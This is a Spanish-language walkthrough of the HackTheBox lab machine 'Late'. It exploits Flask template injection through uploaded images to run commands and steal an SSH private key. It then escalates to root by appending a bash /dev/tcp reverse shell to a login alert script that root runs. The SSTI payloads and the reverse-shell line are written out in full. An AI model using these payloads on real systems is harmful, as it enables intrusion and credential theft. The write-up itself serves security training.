Late es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Late 10.10.11.156 a /etc/hosts como late.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sV -sC -oA enumeration/nmap1 -Pn 10.10.11.156 Nmap scan report for 10.10.11.156 Host is up (0.095s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA) | 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA) |_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Late - Best online image tools Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jul 24 07:56:47 2022 -- 1 IP address (1 host up) scanned in 23.27 seconds |
Observamos poca cosa en esta máquina, un puerto 22 para el que no tenemos credenciales y un portal web en el puerto 80 servido por nginx.
Enumeración
Comenzamos revisando el portal web en el puerto 80 y vemos la siguiente página
Se trata de un simple portal web, revisamos un poco por encima y encontramos un subdominio revisando el código fuente de la aplicación
Así que vamos a añadir el dominio images.late.htb a nuestro fichero /etc/hosts y accederemos al mismo, viendo una página de conversión de imagen a texto que luce como se ve en la siguiente captura de pantalla
Para ver como funciona la aplicación vamos a crear una imagen con el siguiente texto
1 2 |
esto es una prueba de la conversion de imagen a texto |
Y subimos la imagen. La aplicación nos devolverá un fichero de texto llamado results-1.txt con el texto detectado en nuestra imagen entre las etiquetas <p></p>
Revisando la aplicación basada en Flask y navegando un poco encontramos una vulnerabilidad en SSTI, así que vamos a crear otra imagen para tratar de explotar la misma.
Hacemos una captura del siguiente texto
1 2 3 |
esto es una prueba de ssti {{ 4*4 }} prueba ssti |
Y la subimos al portal, obteniendo el siguiente resultado
Y efectivamente es vulnerable a esta vulnerabilidad así que vamos a ir más allá.
Vamos a tratar de descubrir el usuario sobre el cual está siendo ejecutada la aplicación con el siguiente payload
1 2 3 |
prueba {{ namespace.__init__.__globals__.os.popen('id').read() }} prueba |
Y el resultado es el siguiente:
Ya tenemos el usuario, y se trata de svc_acc, así que ahora vamos a tratar de obtener acceso a la misma, después de alguna que otra prueba descubrimos que tiene la clave ssh almacenada en su home así que vamos a descargarnos la misma con el siguiente payload
1 |
{{ namespace.__init__.__globals__.os.popen("~/.ssh/id_rsa").read() }} |
Con la clave en nuestro poder nos queda probar el acceso y entrar a la máquina
1 2 3 4 5 6 7 8 9 |
$ ssh -i keys/svc_acc.pem svc_acc@10.10.11.156 The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established. ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts. svc_acc@late:~$ id uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc) svc_acc@late:~$ |
Obteniendo la flag de user
Ahora que ya estamos dentro, simplemente obtenemos la flag del usuario svc_acc
1 2 3 |
svc_acc@late:~$ cat user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxx4 svc_acc@late:~$ |
Escalado de privilegios
Una vez dentro enumeramos la máquina para encontrar posibles formas de escalar privilegios, y observamos un proceso interesante con pspy
Si analizamos el comportamiento, cada vez que un usuario se loguea en el sistema, root, realiza la siguiente ejecución
1 |
/bin/bash /usr/local/sbin/ssh-alert.sh |
Así que vamos a ver que hay en ese fichero
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
svc_acc@late:/tmp$ cat /usr/local/sbin/ssh-alert.sh #!/bin/bash RECIPIENT="root@late.htb" SUBJECT="Email from Server Login: SSH Alert" BODY=" A SSH login was detected. User: $PAM_USER User IP Host: $PAM_RHOST Service: $PAM_SERVICE TTY: $PAM_TTY Date: `date` Server: `uname -a` " if [ ${PAM_TYPE} = "open_session" ]; then echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT} fi |
El script manda un mail a root alertando cuando un usuario se loguea así que vamos a ver si podemos editar el mismo, pero no tenemos permisos para ello, en cambio vemos que dispone del bit de append por lo que podemos añadir contenido personalizado al mismo.
1 2 |
svc_acc@late:/tmp$ lsattr /usr/local/sbin/ssh-alert.sh -----a--------e--- /usr/local/sbin/ssh-alert.sh |
Visto esto, añadimos una reverse shell al fichero
1 |
echo "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh |
Abrimos una nueva sesión en la máquina y automáticamente obtenemos root en nuestra escucha
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from late.htb [10.10.11.156] 51832 bash: cannot set terminal process group (3893): Inappropriate ioctl for device bash: no job control in this shell root@late:/# root@late:/# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ya estamos dentro como root, así que simplemente cogemos nuestra flag para terminar la máquina
1 2 3 4 |
root@late:/# cat /root/root.txt cat /root/root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1 root@late:/# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace